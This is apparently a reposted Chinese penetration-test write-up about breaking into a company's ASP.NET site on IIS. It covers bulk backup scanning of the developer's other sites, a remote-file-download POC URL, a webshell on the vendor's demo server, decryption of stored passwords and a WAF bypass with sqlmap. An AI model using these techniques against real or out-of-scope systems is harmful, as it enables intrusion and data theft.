实战渗透之一个破站日一天
使用關鍵詞得到目標源碼
某日上午接到臨時安排對某公司進行滲透測試,此次滲透給的是一個主域名,并且也沒有子域,打開了目標網站先對其進行一波信息收集
中間件: IIS 8.5
輸入admin發現自動添加了/
說明其目錄存在,那么盲猜一波文件,login.aspx
default.aspx main.aspx等等
最終在login.aspx下面發現后臺登錄頁面。這不猜他一波弱口令??
一頓操作過后賬號被鎖
熟悉的開局,既然如此只能嘗試其他方法了。
在主頁的html代碼中發現了某處信息
設計制作?根據后面的域名訪問過去,是一個建站公司
那么,入手點來了。IIS8.5+ASP.NET+建站系統
先掃一波備份文件:
?
400多條ip這開發商還行。使用FOFA查詢工具,批量導出
然后我們來掃一下備份文件。這里推薦我B哥的掃描器
https://github.com/broken5/WebAliveScan
可以進行批量存活掃描和目錄掃描
?
在好幾個站下面發現web.zip備份文件。
下載下來過后,對其目標站點文件進行了對比。基本一致
?
拿到代碼開始審計多次碰壁
那么開始審計。
在某接口處放下敏感操作WebClient.DownloadFile(遠程文件下載)
由于該方法需要提供絕對路徑。。比較頭疼,但我跟蹤相關參數。發現。
在另一個方法中調用了該方法。
并傳入Server.MapPath,這根本不需要找絕對路徑了系統都給你安排好了。
那么構造POC:
ashx/api.ashx?m=downloadfile&FilePath=asmx.jpg&WebUrl=http://***.cn/
訪問地址:
文件存在,那么證明可行
回到目標地址:
被修復了文件不存在
繼續回到代碼中,審計其他漏洞在其他接口中,也均存在多個漏洞。如ueditor遠程抓取漏洞
文件重命名可Getshell
但是這些接口都需要登錄
這就很頭疼了,打算在一些無需登錄的接口中嘗試尋找SQL注入。
最終在某處發現SQL拼接。
但是這里調用了IsSafeSqlString檢測
常見符號基本被卡的死死的
拿下開發商尋找通用賬號逆向加解密算法
由于都是使用了相同的建站程序,懷疑有程序內置賬戶
于是準備通過剛才審計出來的漏洞。從同程序的站點入手
最終在某個站點成功拿到Webshell
看了下相關信息
居然是廠商的演示站群,存了該開發商所有站點源碼。
應該是在開發過程中的演示環境吧站點有很多,估計每個客戶都有。
在服務器里翻到了目標站點的演示網站
?
根目錄下有zip網站備份和sql 數據庫備份。
如果說目標站點是直接搬遷過去的,那么后臺賬戶密碼應該是一樣的。
將其SQL文件下載下來,在其中搜索相關信息
發現了插入賬戶的SQL語句。其密碼是加密過的
cmd5解不開,看了下密文是33位加密。
但是登錄過程中,密碼是RSA加密過后傳輸的,而后端居然是33位的md5加密
?
因為有源代碼,追蹤了一下登錄了相關方法。
密碼傳入后,調用了CommFun.EnPwd進行了一次加密。
追蹤EnPwd方法
可以看到,傳入進來的密碼是RSA類型,先進行了一次RSA解密,然后進行了一次DES加密。
追蹤DESEncrypt.Encrypt方法。
這里是將Encrypt方法封裝了一下,并傳入加密key。
其核心加密方法如下:
并且,在該類里。還定義了解密方法
得到了加密方法和解密方法以及key,那么只需要將其單獨拉出來調用就可以了。
嘗試登陸
忙活半天,白干了。
柳暗花明拿下目標shell
已經下午4點了。還是一無進展,準備嘗試繞過SQL過濾。
就在這時候,我發現了一處SQL注入點。
?
某方法接收了兩個參數,卻只對一個參數進行了過濾。
在目標網站上測驗
存在注入,發現存在waf使用垃圾參數填充成功繞過waf
直接上sqlmap安心的跑,得到系統賬戶以及密文
將得到的密文進行解密,得到結果
嘗試登錄。這下總對了吧!
?
終于進來了!!!!
經過之前的審計,發現了很多接口都存在漏洞,現在成功登錄了。豈不是隨便getshell?
直接ueditor帶走。
成功shell
總結
以上是生活随笔為你收集整理的实战渗透之一个破站日一天的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 关于站库分离渗透思考总结
- 下一篇: 【mybatis-plus】什么是乐观锁